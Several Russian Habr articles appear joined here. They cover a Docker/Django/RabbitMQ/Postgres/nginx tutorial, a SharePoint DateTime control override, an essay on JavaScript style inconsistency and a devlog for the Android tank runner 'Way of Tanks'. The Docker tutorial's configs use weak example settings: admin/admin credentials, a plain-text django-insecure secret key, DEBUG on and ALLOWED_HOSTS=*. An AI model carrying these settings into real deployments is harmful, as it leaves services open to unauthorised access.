print(' [*] I`m WORKER and i`m Waiting for messages. To exit press CTRL+C')
channel.start_consuming()
```
Что тут происходит.
Для начала при старте worker в бесконечном цикле пытается присоединиться к rabbit, при неудаче спит 2 секунды и снова пытается.
В initial() помимо попыток соединения прописана callback функция в которой прописано что собственно делать с полученным сообщением.
Полученное сообщение сначала разбивается на массив через separator часть с данными загружается в объект Image, средствами библиотеки pillow. Дальше оно пропорционально ресайзится, чтобы высота была не больше 300 пикселей.
Снова превращается в байтовый массив, так же через сепараторы добавляется размер изображения и имя файла и отправляется уже в другую очередь. Для укладывания в нужный каталог. Размер нужен чтобы на другой стороне pillow снова могла собрать его из байтового массива в нормальное изображение. (способ через сепараторы странный, я понимаю, но чет не пришло в голову ничего лучше. Но это работает.)
Теперь второй воркер.
Тут странный на первый взгляд момент. Так конечно же лучше не делать.
Изначально я хотел, чтобы второй воркер работал в непосредственной близости с django и укладывал не только файл на место, но и обновлял БД прописывая имя и путь к файлу в соответствующее поле модели. В то же время он должен был работать как сервис, независимо запущен django сервер или нет. Поэтому была создана такая структура.
Далее через python manage.py my\_command запускался worker. В последствии от идеи изменения БД из worker я отказался, и он стал просто укладывать файлы по нужному мне пути. Так что можно сделать просто worker2 рядом с первым и перенести функционал в него. Но я уже не стал.
Так что продолжим как есть.
`my_command.py`
```
from django.core.management.base import BaseCommand
from PIL import Image
import pika
import time
class Command(BaseCommand):
def handle(self, *args, **options):
count_try=0
conn=False
while not conn:
count_try+=1
print(f'I`m DJANGO WORKER. Попытка присоединится №{count_try}')
conn, channel=self.initial()
if not conn:
time.sleep(2)
print(' [*] I`m DJANGO WORKER and i`m Waiting for messages. To exit press CTRL+C')
channel.start_consuming()
def initial(self):
try:
hostname = 'rmq'
port = 5672
credentials = pika.PlainCredentials(username='admin', password='admin')
parameters = pika.ConnectionParameters(host=hostname, port=port, credentials=credentials)
connection = pika.BlockingConnection(parameters=parameters)
# Создать канал
channel = connection.channel()
channel.queue_declare(queue='to_resize')
channel.queue_declare(queue='from_resize')
try:
channel.basic_consume(queue='from_resize',
auto_ack=True,
on_message_callback=self.callback)
except Exception as error:
print(error)
return True, channel
except:
return False, None
@staticmethod
def callback(ch, method, properties, body):
try:
data = body.split(b'separator')
image = Image.frombytes("RGB", (int(data[1]), int(data[2])), data[0])
file_name = data[3].decode('UTF-8')
image.save('media/photo/' + file_name)
except Exception as error:
print(error)
```
Тут происходит то же самое, попытки присоединиться и callback для полученных сообщений.
В callback тело сообщение пилится по сепаратору, строится из байтового массива в Image и сохраняется.
В целом всё хорошо, но не хватает только импортов и установленных библиотек.
надо установить их и добавить в `requirements`
`pip install pika uuid pillow`
`pip freeze >requirements.txt`
Добавим запуск наших worker’ов в yml файле.
Для этого расширим команду запуска django
```
command: >
sh -c "nohup python worker.py & nohup python manage.py my_command & python manage.py runserver 0.0.0.0:8000"
```
так же добавим в зависимости django контейнера rmq, ведь ему надо куда-то слать и откуда-то принимать сообщения
```
depends_on:
- rmq
```
Так как у нас изменился requirements надо пересобрать контейнер django
Выполняем команду
`docker-compose up -d --build`
--build пересоберёт все контейнеры, которые этого потребуют. В нашем случае у react ничего не изменилось, он полностью подтянется из кэша, django же возьмет из кэша только те слои что были до установки requirements, остальные создаст новые.
-d позволит нам не следить за логами как раньше, а запустит всё в фоне. Так как добавился rmq количество логов резко возрастёт, и следить за ними уже не так просто.
Ожидаем пока все три контейнера запустятся
`Creating rmq ... done`
`Creating djangoapp ... done`
`Creating reactapp ... done`
Давайте взглянем что нам сказала django при запуске:
`docker-compose logs | grep djangoapp`
Мы видим, что помимо успешно запущенного сервера оба воркера отрапортовали нам что они готовы принимать сообщения, подключились они не сразу, конечно, но в целом всё прошло успешно.
Давайте попробуем отредактировать какого ни будь студента и добавим ему изображение.
Отлично! Мы добавили студента и отредактировали парочку. Схема с кроликом работает.
Из всей схемы нам осталось лишь переехать с SQLite на postgress, и добавить nginx чтобы наш бэкенд не смотрел наружу, а был доступен только для контейнеров его сети.
Начнем с БД.
Остановим все наши контейнера командой docker-compose down, откроем yml и добавим ещё один сервис.
```
postgres:
# Так же разворачиваем с готового контейнера
image: postgres:15-alpine
container_name: postgresdb
# Чтобы наши данные не пропадали при перезапуске подключим volume
volumes:
- postgres_volume:/var/lib/postgresql/data/
# Переменные окружения. их надо будет передавать в django.
environment:
- POSTGRES_USER=admin
- POSTGRES_PASSWORD=strong_password
- POSTGRES_DB=django_db
# Сеть
networks:
- myNetwork
```
Volume конечно де надо создать
```
volumes:
postgres_volume:
django_static_volume:
django_media_volume:
rabbitmq_data_volume:
```
Готово. Теперь надо настроить django.
Мы указали настройки БД логин и пароль. Можно их указать в явном виде в настройках, а можно сделать интересней и передавать все параметры в файле при сборке.
Создадим в `ProjectStudent` файл `.env`
Сразу в него можно поместить те данные, которые вы бы не хотели светить в коде. Например, SECRET\_KEY
Закинем в него несколько переменных. В том числе и параметры БД
```
SECRET_KEY=django-insecure-cfr4pr9x3dbm9vnmvclxn&^a^ml-cl*=c#scbsxn_+m*5mt%z1
DEBUG=1
ALLOWED_HOSTS=*
POSTGRES_ENGINE=django.db.backends.postgresql
POSTGRES_DB=django_db
POSTGRES_USER=admin
POSTGRES_PASSWORD=strong_password
POSTGRES_HOST=postgres
POSTGRES_PORT=5432
DATABASE=postgres
```
Теперь открываем `settings.py`
Вносим изменения:
```
SECRET_KEY = environ.get('SECRET_KEY')
DEBUG = int(environ.get('DEBUG', default=0))
ALLOWED_HOSTS = environ.get('ALLOWED_HOSTS').split(' ')
...
DATABASES = {
'default': {
'ENGINE': environ.get('POSTGRES_ENGINE', 'django.db.backends.sqlite3'),
'NAME': environ.get('POSTGRES_DB', BASE_DIR / 'db.sqlite3'),
'USER': environ.get('POSTGRES_USER', 'user'),
'PASSWORD': environ.get('POSTGRES_PASSWORD', 'password'),
'HOST': environ.get('POSTGRES_HOST', 'localhost'),
'PORT': environ.get('POSTGRES_PORT', '5432'),
}
}
```
Теперь вернёмся в yml и добавим наш файл переменных, а также зависимость от postgress сервису django.
```
depends_on:
- postgres
- rmq
env_file:
- ./.env
```
Отлично! Но есть одно НО. У нас в докер файле прописано что при создании контейнера надо выполнить миграцию. Но нюанс в том, что теперь нам надо мигрировать не в SQLite которая по умолчанию лежала рядом, а на postgress, которая хоть и указана в зависимостях неизвестно, когда будет готова к работе.
Это можно и нужно подправить. Создадим рядом с dockerfile скрипт entrypoint.sh который будет говорить контейнеру что ему нужно сделать при запуске.
`entrypoint.sh`
```
#!/bin/sh
if [ "$DATABASE" = "postgres" ]
then
# если база еще не запущена
echo "Рано..."
# Проверяем доступность хоста и порта
while ! nc -z $POSTGRES_HOST $POSTGRES_PORT; do
sleep 0.1
done
echo "Пора!"
fi
# Выполняем миграции
python manage.py migrate
exec "$@"
```
так же уже в хостовой ОС, необходимо сделать этот скрипт исполняемым. Перейдите в каталог где он находится и выполните команду `chmod +x ./ entrypoint.sh`
Плюсом ко всему с postgress надо как то общаться. Для этого необходимо установить дополнительные зависимости как в саму ОС контейнера, так и в pip.
открываем dockerfile джанги и дописываем перед тем как обновлять pip
```
RUN apk update \
&& apk add postgresql-dev gcc python3-dev musl-dev
# обновим pip
RUN pip install --upgrade pip
```
И в самом конце где была миграция добавим
```
# Сделаем первую миграцию.
ENTRYPOINT ["/usr/src/app/entrypoint.sh" ]
```
Отлично, теперь топаем снова к django и устанавливаем `pip install psycopg2-binary`
И обновляем зависимости `pip freeze > app/requirements.txt`
Синхронизируем и пересоберём: `docker-compose up -d –build`
Открываем лог django `docker-compose logs | grep djangoapp`
Видим, что контейнер успешно запущен, наш скрипт успешно отработал, наши воркеры успешно прицепились. Можно проследовать на реакт и удостовериться что всё работает. Да, прошлые тестовые данные сгинули, но взамен у нас новые свежие и крутятся на другой БД. Так как у нас подключен volume к сервису postgress наши данные больше никуда не денутся и будут оставаться при старте. Миграция при запуске ни на что более е повлияет, т.к. всё уже будет на месте. Ну а если вы удалите БД или volume и решите начать с чистого листа, то скрипт успешно повторно отработает и снова внесёт стартовый набор.
Ну что, осталась только nginx. В этой теме я, к сожалению, пока плаваю, но давайте попробуем добавить.
Для начала создадим в корне проекта третий каталог, с именем `nginx`
Создадим `dockerfile`
```
# Собираемся из готового образа nginx:1.23-alpine
FROM nginx:1.23-alpine
# Удаляем дефолтный конфиг
RUN rm /etc/nginx/conf.d/default.conf
# Подкидываем наш
COPY ./nginx.conf /etc/nginx/conf.d/
```
Теперь наш конфиг
`nginx.conf`
```
upstream django_app {
# Список бэкэнд серверов для проксирования
server django:8000;
}
server {
listen 80;
# Параметры проксирования
location / {
# Если будет открыта корневая страница
# все запросу пойдут к одному из серверов
# в upstream django_proj
proxy_pass http://django_app;
# Устанавливаем заголовки
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
# Отключаем перенаправление
proxy_redirect off;
}
# Статика и медиа
location /static/ {
alias /home/src/app/static/;
}
location /media/ {
alias /home/src/app/media/;
}
}
```
Отличненько. Теперь давайте добавим ещё один сервис в yml
```
nginx:
build: ./nginx
container_name: nginx
networks:
- myNetwork
ports:
- 1337:80
depends_on:
- django
volumes:
- django_static_volume:/home/src/app/static
- django_media_volume:/home/src/app/media
```
А так же подправим немного сервис django поменяем `ports: -8000:8000` на
```
expose:
- 8000
```
Выполняем команду `docker-compose up -d –build`
И ждем пока запустится реакт и проверяем.
Всё норм, но где данные? Всё дело в том, что приложение react работает в браузере и соответственно все запросы отсылает на адрес бэкэнда от имени вашего компьютера и вашего браузера. И раньше это работало, потому что бэкэнд публиковал свой порт контейнера наружу и хост пробрасывал свой 8000 порт на порт контейнера. Сейчас мы это убрали и оставили команду expose: -8000 которая извещает окружающих что используется 8000 порт, но извне на него больше не попасть. Но этим могут пользоваться остальные контейнеры вокруг, например nginx.
Сменим адрес привязки API на реакте, заходим в `index.js` и правим
```
export const API_URL = "http://192.168.56.101:1337/api/students/"
export const API_STATIC_MEDIA = "http://192.168.56.101:1337/"
```
Проверяем.
Работает! Казалось бы…
Кое-что я всё-таки забыл.
Давайте зайдем в админку django
Не похоже на неё, правда?
Да, я забыл собрать статику.
Остановим всё `docker-compose down`,
Перейдем в `django_project`, и выполним команду
`python manage.py collectstatic`
Статики там немного и она, как ни странно, статична и редко меняется. Все остальные настройки уже внесены.
Запускаем обратно
`docker-compose up -d –build`
Проверяем админку.
Да, всё ОК.
Ну вот в целом и всё. Небольшой Hello World написан и в целом его можно совершенствовать и развивать.
Да, тут многое можно подправить, например при внезапном перезапуске rmq воркеры отвалятся и придётся перезапускать весь контейнер. Надо дальше по изучать nginx. Да и вообще много чего.
ссылка на проект:
<https://github.com/eldalex/ProjectStudent>
Три команды для того чтобы поднять:
1) `git clone https://github.com/eldalex/ProjectStudent`
перейти в `ProjectStudent`
2) `chmod +x django/django_project/entrypoint.sh`
3) `docker-compose up -d`
Конструктивная критика приветствуется)
Спасибо что дочитали до конца! | https://habr.com/ru/post/713490/ | null | ru | null |
# Кастомизация DateTime в SharePoint
Пользователи SharePoint знают, что создавая или редактируя какой-либо элемент, указывать время можно с интервалом в 5 минут. В большинстве случаев этого достаточно. Однако, встречаются такие заказчики, которых это не устраивает. Они хотят встречи назначать в 12:02, требовать выполнения задачи к 16:31, обращения пользователей регистрировать с точностью до минуты. Их право, они за это деньги платят.
Попросить SharePoint считать не по пять минут, а по одной, стандартными средствами не представляется возможным. Некоторые знакомые к такой задаче устраивали пляски с SharePoint Designer'ом и Visual Studio, пытаясь соорудить кастомные формы и/или FieldType'ы. На мой взгляд, есть более красивое решение. Кому интересно, добро пожаловать под кат.
### Теория
SharePoint активно использует систему шаблонов. Для списочного типа контента по умолчанию установлен шаблон UserList. Его легко можно изменить на любой другой через определение типа контента или с помощью небезызвестного SharePoint Manager прямо на работающем сервере. Определения шаблонов лежат в *%SharePointRoot%\CONTROLTEMPLATE\CONTROLTEMPLATES\DefaultTemplates.ascx*.
Не многие начинающие знают, что для отображения полей элементов так же используются шаблоны. Однако, в определении Field'а невозможно задать какой шаблон ему нужно использовать. Воспользуемся особенностью использования SharePoint'ом шаблонов: SharePoint сначала загружает стандартные шаблоны, потом все остальные. Если идентификаторы шаблонов совпадают, то для отображения используется последний загруженный. В связи с этим нам остается лишь переопределить стандартный шаблон.
### Практика
Стандартный шаблон DateTime-поля для отображения использует [DateTimeControl](http://msdn.microsoft.com/ru-ru/library/microsoft.sharepoint.webcontrols.datetimecontrol%28v=office.12%29.aspx). Значит нам нужно заменить именно этот контрол. Заменять будем наследником.
```
public class CustomDateTimeControl : DateTimeControl
```
Путем ~~декомпиляции~~ логических рассуждений определяем идентификатор выпадающего списка, который отображает пользователю минуты, и находим его в дочерних контролах:
```
private DropDownList _minuteDropDownList;
protected override void CreateChildControls()
{
base.CreateChildControls();
var minutesId = base.ID + "DateMinutes";
_minuteDropDownList = FindControl(minutesId) as DropDownList;
}
```
Привязка данных в этом списке происходит на этапе PreRender, поэтому после того, как родительский класс сделает привязку, мы эту привязку переопределим:
```
protected override void OnPreRender(EventArgs e)
{
base.OnPreRender(e);
if (_minuteDropDownList != null && !DateOnly)
{
_minuteDropDownList.DataSource = _minutes;// массив отображаемых минут.
_minuteDropDownList.DataBind();
_minuteDropDownList.SelectedIndex = SelectedDate.Minute;
}
}
```
Теперь создаем ascx-файл, в котором будет храниться новый шаблон.
```
```
После разворачивания решения поле даты будет содержать выпадающий список минут с интервалом в 1 минуту.
### Заключение
Следует помнить, что данное решение будет влиять на все сайты приложения, на котором развернуто решение. | https://habr.com/ru/post/169167/ | null | ru | null |
# Есть ли жизнь без стандартов в JavaScript?
Предыстория
-----------
Начинается новый проект, собрана смышленая команда человек так из 7, намечен roadmap, согласованы сроки и бюджет ,- вроде бы все идет по плану, и счастью разработчиков нет предела. Так и слышны фразы: “Наконец-то не придется писать на (подставить angular 1, jquery, vanilla js) и можно будет использовать по-настоящему современные, модные и быстрые фреймворки! Вот в этом проекте все точно будет как надо: каждый метод будет задокументирован, 100% code coverage, CI интеграция, scrum с естимейтами, webpack, babel и стакан с реактовским смузи…” Все дружно хейтят старые глючные приложения, в которых никто толком не может разобраться, и восхваляют новое, которое, по их суждению, будет просто огонь. Знакомая ситуация, не правда ли? Но если вы хоть раз сталкивались с данным сценарием, то прекрасно и без меня знаете, что происходит через 3-4 месяца активной работы — да, современный дизайн, да, у нас react, да hot module replacement дико удобный и да, у нас flexbox и можно забыть о float left, но разве эти вещи делают продукт качественным? А как обстоят дела с документацией, тестами и прочим?
«Да там JSDoc некорректно работает с es7 декораторами. Запуск тестов в общем настроен, но сейчас у нас нет времени на их написание...» А от CI, в лучшем случае, используется только git hooks и автоматическая сборка. Но весь ужас лежит в папке /src/components… Зачастую, если в команде больше, чем один человек, код превращается в нечитаемую лапшу, так как у каждого разработчика есть свое уникальное видение “правильной” структуры и синтаксиса. Это ведет к тому, что код, написанный одним разработчиком, будет тяжел для поддерживания другим.
Но у нас же есть фреймворки
---------------------------
Можно сказать: «Но ты же можешь просто использовать фреймворк и следовать его гайдлайнам» — но в реальности картина обстоит еще хуже: фреймворки напротив поощряют возможность выбора. Разберем, как пример, один из самых популярных из них — [React](https://reactjs.org/). У него это даже записано в [плюсах](https://reactjs.org/docs/react-without-jsx.html)! Несомненно, возможность легко заменить шаблонизатор или библиотеку для AJAX запросов — это хорошо и показывает гибкость архитектурного решения, но когда у нас есть возможность использовать старый es5 синтаксис, или JSX синтаксис, или же вообще компонент-функцию (functional stateless component) — это начинает пугать. Обилие выбора приводит к тому, что глаза постоянно метаются с одного синтаксиса на другой
В погоне за хайпом
------------------
**Компонент 1**
```
import React, {Component} from 'react'
import PropTypes from 'prop-types'
/**
* Person component is used to show the first name and last name of the user
*/
class PersonComponent extends Component {
static propTypes = {
item: PropTypes.object
};
static defaultProps = {
item: {}
};
render() {
return (
{this.props.item.firstName}
{this.props.item.lastName}
)
}
}
```
**Компонент 2**
```
var createReactClass = require('create-react-class');
var PersonComponent = createReactClass({
/**
* Person component is used to show the first name and last name of the user
*/
render: function() {
return (
{this.props.item.firstName}
{this.props.item.lastName}
)
}
});
PersonComponent.propTypes = {
item: PropTypes.object
};
PersonComponent.defaultProps = {
item: {}
};
```
Да, это один и тот же компонент. Он имеет документацию, компактен, и, вы не поверите, тесты тоже на месте, но проблема заключается совсем в другом… В других языках программирования, таких как Go или C# присутствует строгая последовательность частей кода. Например в C# вы всегда сможете встретить «using» в начале файла, во всех сторонних библиотеках и фреймворках. В Go всегда в начале присутствует название модуля и импорты. Разработчики на этих языках не меняют контекст и всегда работают с одной и той же структурой и синтаксисом. Программируя на javascript, мы теряем это преимущество… Многие из нас даже не видят проблему! Мы уже привыкли перестраиваться на typescript, чтобы расширить функционал библиотеки. Делать наследование с помощью lodash в другой. В третьей использовать старые «require» вместо «import». И при этом иметь основную часть кода в es6 и постепенно добавлять async/await потому что модно…
Но ведь можно что-то сделать, так ведь?
---------------------------------------
Несомненно можно использовать библиотеки для валидации кода (по сути то, что должна делать любая нормальная IDE), но для этого нужно скачать пару десятков мегабайт дополнительных npm пакетов, потратить кучу времени на чтение документации, грамотную конфигурацию, настройку и налаживания их работы. Можно еще добавить pre-commit hooks, которые обязательно у какого-нибудь разработчика на Windows не будут корректно работать из-за особенностей path. И, наконец, вишенка на торте — необходимость интеграции всего этого с webpack, к которому каждые полгода выпускают несовместимую версию. Да… В такие моменты особенно завидуешь разработчикам на других языках…
И в заключение
--------------
JavaScript набирает огромную популярность. Благодаря nodejs его уже добавляют в каждый второй умный чайник, микроволновку и холодильник. Вы можете купить умные стельки для обуви, SDK которых будет написано хипстерами на очередном псевдоязыке с огромным количеством синтаксического сахара. Как говорит моя девушка-врач: «Избыток сахара вызывает сахарный диабет»… | https://habr.com/ru/post/345326/ | null | ru | null |
# Way of Tanks. Путь от идеи к игре
Я всегда затрудняюсь ответить на вопрос: откуда берутся идеи для игр? Но в этот раз, я более-менее точно могу сказать, что эта идея родилась у меня когда я увидел баннер «World of Tanks» на каком-то из сайтов. Знаете, бывают такие баннеры, которые привлекают внимание пользователя микро-играми, прежде чем перенаправить его на сайт рекламодателя? Так вот, на этом баннере был танк, который по клику мог проезжать то или иное расстояние, зачем-то пробивая при этом кирпичные стены. Вот именно с этого момента я стал размышлять, по дороге на работу, о раннере с танковой тематикой. Тут же родилась и отсылка к нашумевшему хиту от Wargaming в названии. Она показалась мне забавной, учитывая, что суть моей игры — это движение по некой дороге, пути, с целью пройти максимальное расстояние. Под хабракатом вас ждет рассказ об игре, разработке, технические детали и все-все-все, что должно быть в классической «gamedev story».
Об игре
-------
Итак, что же у нас здесь имеется? Ну во-первых, у нас есть вот такой танчик:
 дыр-дыр-дыр
Который едет по дороге, виртуально разделенной на 3 полосы (привет, Subway Surfers!). Свайпом влево-вправо, можно перестраиваться в соседние полосы, чтобы избежать столкновений с препятствиями. В отличие от других раннеров, маневры здесь не мгновенные (это все-таки танк), что тоже нужно учитывать. Согласен, звучит странно, но наш танк умеет прыгать (свайп вверх). Какой же раннер может быть без прыжков? К тому же это фаново, прыгать через яму-ловушку и в прыжке расстреливать противотанковые ежи, коварно расставленные сразу за ней. Разумеется, танк умеет и стрелять (свайп вниз), правда снаряды в игре ограничены. На мой взгляд, стрельба — это аналог скейтов в том же Subway Surfers, она позволяет пройти «силой» тот участок, где нет времени на маневр.
*Одна из действительно коварных ловушек*
Вообще, я часто подсматривал в топовые раннеры, когда делал «Way of Tanks». Конечно, у меня нет многих из модных нынче фишек, типа рулетки, ежедневных соревнований, друзей из фейсбука, push-уведомлений и прочего-прочего, что должно наращивать ARPU, MAU, DAU и все вот эти вот не понятные мне штуки. Но, хочется верить, что в игре есть главное — это сделанный с душой геймплей! Впрочем, я отвлекся.
Во-вторых, путь танка усеян препятствиями, расставленными невидимым противником. Все препятствия можно разделить на 2 типа: те, которые можно перепрыгнуть, они находятся на уровне земли и ниже (ямы-ловушки, минные поля) и те которые перепрыгнуть нельзя, а можно только объехать или уничтожить (стены, противотанковые ежи, доты). Причем, просто уничтожать все на своем пути — не получится. Орудие танка имеет ограниченную скорость перезарядки, которая не позволяет стрелять слишком часто. Поэтому, для успешной игры понадобятся не только реакция и везение, но и умение быстро принимать решение, когда маневрировать, а когда стрелять.
Изначально, я задумывал добавить в игру несколько мини-боссов, но как обычно, жизнь и ограниченные ресурсы вносят свои коррективы. Поэтому из мини-боссов, в «Way of Tanks» пока есть самолет, который пытается уничтожить танк игрока, сбрасывая на него бомбы.
AI самолета устроен довольно просто, можно даже сказать, примитивно. Есть две основные характеристики: скорость принятия решений и время подготовки следующей бомбы к бомбометанию, проще говоря, «перезарядка». Так вот, когда бомба готова, бомбардировщик стремится занять одну полосу с игроком, а когда идет перезарядка, наоборот избежать нахождения на линии ответного огня. После тестов, я добавил пару усложнений: самолет фиксирует начало поворота танка и дальше алгоритм работает так, как если бы танк УЖЕ перестроился в новую полосу. Таким образом, бомбардировщик научился «предсказывать» ответные действия игрока и работать по цели с упреждением. Плюс постепенное улучшение характеристик для соблюдения баланса в игре (на максимальную сложность самолет выходит только с пятого-шестого захода).
Как и в любом раннере, здесь есть временно действующие бонусы (powerups), придающие танку супер способности. Я еще не до конца определился со списком, сейчас их четыре:
 Удваивает собираемые монеты
 «Рывок» — позволяет танку пробивать любые препятствия, но только в прыжке
 Увеличивает маневренность танка
 Бронебойные заряды — стреляя, танк уничтожает всю линию препятствий перед собой (а также +1 к зарядам)
Ах да, еще была мысль сделать летящие навстречу ракеты, как в Jetpack Joyride. Но посовещавшись и подумав, решили, что ракеты либо будут лететь слишком быстро, либо будут странно смотреться (если их замедлить). В результате, ракеты превратились вот в такие броневики-камикадзе, которые будут таранить наш танк:
В общем, игра получилась хоть и простой, но, тем не менее, органичной и азартной! По крайней мере, это единственная из всех моих игр, в которую я сам продолжаю играть с удовольствием после всех этих бесконечных тестирований и отладок.
Техническая часть
-----------------
Это уже пятая игра, которую я делаю на AndEngine. Да, я знаю про Unity, но не гонюсь за кроссплатформенностью. По моему мнению, лучше быстрее и качественнее сделать эксклюзив для одной платформы. Да и игра на знакомом поле, так сказать, у меня более-менее получается, в отличии от попыток хоть как-то заявить о себе в App Store. Хотя я и посматриваю в последнее время на LibGDX.
Расскажу немного подробнее о внутреннем устройстве игры. Главное в раннере — это собственно, движение вперед. Я пробовал подход с движением камеры вслед за персонажем и параллельной генерацией мира перед ней, но в силу различных причин, остановился на варианте со статичной камерой. То есть танк и камера стоят на месте, а весь игровой мир движется им на встречу, создавая иллюзию движения танка вперед. Вроде бы такой подход априори проигрывает по производительности, но если все делать правильно и оптимально, то проблем быть не должно.
У нас есть четыре варианта бэкграунда, размером с камеру (1280х720), которые бесшовно переходят из любого в любой. Одновременно, игрок видит не более двух из них. Поэтому, на первом шаге, мы устанавливаем SpriteGroup с бэкграундами в позицию (0, -CAMERA\_HEIGHT), а два спрайта внутри нее в (0, 0) и (0, CAMERA\_HEIGHT), соответственно. Остальные два — скрываем. Далее, мы двигаем SpriteGroup вниз со скоростью танка. Когда она оказывается в координатах (0, 0), мы возвращаем ее на изначальную позицию, при этом, случайным образом выбирая следующий участок бэкграунда и скрывая пройденный. Все просто!
Но тут я столкнулся с неприятным багом: спрайты внутри SpriteGroup могут «мигать» при изменении позиции. На stackoverflow, я нашел вот такое решение этой проблемы. Для SpriteGroup переопределяем onManagedUpdate и пишем:
```
@Override
protected void onManagedUpdate(float pSecondsElapsed) {
final SmartList children = this.mChildren;
if (children != null) {
final int childCount = children.size();
for (int i = 0; i < childCount; i++) {
this.drawWithoutChecks((Sprite) children.get(i));
}
submit();
}
}
```
Вместе с движением фона, нам нужно создавать и препятствия. Делать это полностью случайно, было бы не правильно, потому что в таком случае, возможно появление непроходимых участков. Все ловушки у меня тоже разделены на секции и подготовлены заранее. Они хранятся в JSON-файле примерно такой структуры:
> {
>
> «root»:{
>
> «sections»:[
>
> [
>
> [«CELL\_EMPTY»,«CELL\_EMPTY»,«CELL\_EMPTY»],
>
> [«CELL\_COIN»,«CELL\_EMPTY»,«CELL\_EMPTY»],
>
> [«CELL\_COIN»,«CELL\_EMPTY»,«CELL\_EMPTY»],
>
> [«CELL\_COIN»,«CELL\_EMPTY»,«CELL\_HEDGEHOG»],
>
> [«CELL\_PIT»,«CELL\_WALL»,«CELL\_WALL»],
>
> [«CELL\_EMPTY»,«CELL\_EMPTY»,«CELL\_EMPTY»]
>
> ],
>
> …
>
>
Все варианты мной неоднократно протестированы, неудачные я либо модифицирую, либо просто отбраковываю. После этого, на каждом шаге генерации мира, мы просто выбираем новую случайную секцию с ловушками, либо выводим текущую строку текущего участка.
Как и в любой современной Android-игре, у нас есть интеграция с Google Play Game Services (ачивки и лидерборды). Тут все довольно банально и подробно описано в руководстве на офф. сайте: [developers.google.com/games/services/android/quickstart](https://developers.google.com/games/services/android/quickstart). Я просто использую один раз написанный код в каждой новой игре, практически без изменений.
Оптимизация
-----------
Хочу отдельно сказать несколько слов об оптимизации в AndEngine. Для всех объектов, которые не являются анимированными спрайтами, для которых мы не переопределяем onManagedUpdate и не используем entity modifiers, нужно не забывать устанавливать setIgnoreUpdate(true) сразу при создании. Это положительно влияет на производительность за счет уменьшения количества вызовов onUpdate на каждом такте движка. Так же, нужно делать setIgnoreUpdate(true), когда мы прячем какой-либо объект (устанавливаем setVisible(false)).
Далее, все что создается на сцене динамически и не в единичном количестве, должно помещаться в пулы (специальный класс для повторного использования объектов). У меня это ловушки, взрывы, следы на земле от траков танка и т.д. Вот так, например, выглядит пул ловушек:
```
public class TrapPool extends GenericPool {
@Override
protected Trap onAllocatePoolItem() {
return new Trap(0, 0, Assets.trapRegion, ContextHelper.getVBOM());
}
@Override
public synchronized Trap obtainPoolItem() {
return super.obtainPoolItem();
}
@Override
protected void onHandleRecycleItem(Trap pItem) {
pItem.setVisible(false);
pItem.detachSelf();
super.onHandleRecycleItem(pItem);
}
}
```
Теперь, при необходимости появления на сцене нового препятствия, делаем:
```
Trap trap = trapPool.obtainPoolItem();
trap.setPosition(nX, nY);
trapLayer.attachChild(trap);
```
А когда ловушка больше не нужна (вышла за пределы видимости камеры):
```
trapPool.recyclePoolItem(trap);
```
Для ускорения отрисовки, я помещаю все бэкграунды в один SpriteGroup. Единственный нюанс тут заключается в том, что для SpriteGroup может использоваться только один атлас. Поэтому, все спрайты бэкграундов уменьшены на 20%, чтобы уложиться в максимальный размер текстуры 2048х2048. Не знаю правда, насколько это актуально сейчас, прогресс все-таки не стоит на месте и все мои тестовые устройства поддерживают 4096х4096, но раз на качестве изображения это особо не сказывается, то лишним не будет уж точно. Так же, имеет смысл устанавливать формат изображения RGBA4444 вместо RGBA8888. Для такой «мультяшной» графики картинка не изменится, а объем используемой памяти сокращается вдвое (если вы используете TexturePacker, то достаточно выбрать соответствующую опцию при публикации атласа).
А вот трюк, который я подсмотрел в «AndEngine for Android Game Development Cookbook» — отключение отрисовки фона Activity, он нигде не виден и не используется, а на FPS влияет заметно. Для этого создаем свою тему в res/values:
```
<item name="android:windowBackground">@null</item>
```
И в манифесте устанавливаем ее для нашей Activity:
```
android:theme="@style/Theme.NoBackground"
```
Фрагментация
------------
Еще одна вещь, о которой интересно рассказать — борьба с различными разрешениями экранов устройств на Android. Изначально, игра разработана под соотношение сторон 16:9. Я рассматривал 3 варианта масштабирования изображения под другие экраны, условно назовем их:
1. Original size — правильное соотношение сторон, картинка полностью заполняет экран по вертикали, но за счет этого, появляются не используемые области по бокам
2. Zoom screen — то же самое, но картинка заполняет экран по горизонтали, «лишняя» часть для фонов сверху и снизу обрезается, а элементы интерфейса сдвигаются к центру
3. Stretch screen — просто растягиваем игру по размерам экрана, без соблюдения соотношения сторон
Покажу, как это выглядит на примере максимально не соответствующего соотношения сторон — 4:3
  
*Слева-направо: original size, zoom screen, stretch screen*
Очевидно, напрашивается и четвертый вариант: перерисовать графику под 4:3, но использовать для игровых элементов также область 16:9. То есть получится вариант 1, но с декорациями уровня вместо рамок по бокам. Отличный вариант, на самом деле, жаль мне подсказали его поздно, все-таки перерисовывание графики — это не так просто и быстро. Но так как внутренний перфекционист никак не хотел успокоиться, в результате, графику все же перерисовали (не всю, в основном фоны) и теперь на планшетах игра выглядит даже лучше чем на смартфонах!
 
*Скриншоты с планшета (4:3) и смартфона (16:9)*
Кто-то скажет: «Пффф! Открыл Америку!», но не всегда удается научиться на чужих ошибках, иногда приходится изобретать свои «велосипеды», чтобы понять как правильнее и лучше. В частности, в AndEngine «из коробки» нет такого типа Камеры, на котором я в результате остановился. И в туториалах, особо о таких подходах не пишут.
Расходы и благодарности
-----------------------
Так как о доходах мне рассказать нечего, расскажу о расходах. Время создания игры от первого commit-a до публикации в Google Play, составило почти три месяца. Свое чистое время, как программиста, я бы оценил где-то в полтора месяца (игра делалась в свободное время и иногда надо было ждать результата от других участников команды, естественно). Пусть это будет ~3000$ по ставке. С профессиональным и очень талантливым художником, Егором, мы работаем уже над второй игрой на условиях разделения возможной прибыли, поэтому абсолютную стоимость создания арта к игре, я не знаю как учесть (разве что по времени тоже). Локализация страницы Google Play на основные языки, обошлась мне примерно в 60$ (короткое описание и подписи к скриншотам).
За звуковое оформление хочу поблагодарить ребят из Gamingearz. С ними я тоже сотрудничаю не первый раз, все как всегда на высшем уровне и в кратчайшие сроки. Ребята с большим вниманием и любовью относятся к своему делу и что не менее важно, для таких инди-разработчиков как я, готовы предложить варианты в рамках ограниченного бюджета. Для «Way of Tanks» они записали просто потрясный саундтрек (плюс несколько игровых звуков) за символические 200$. А всякие интерфейсные звуки я сделал сам с помощью сервиса [diforb.com](http://diforb.com).
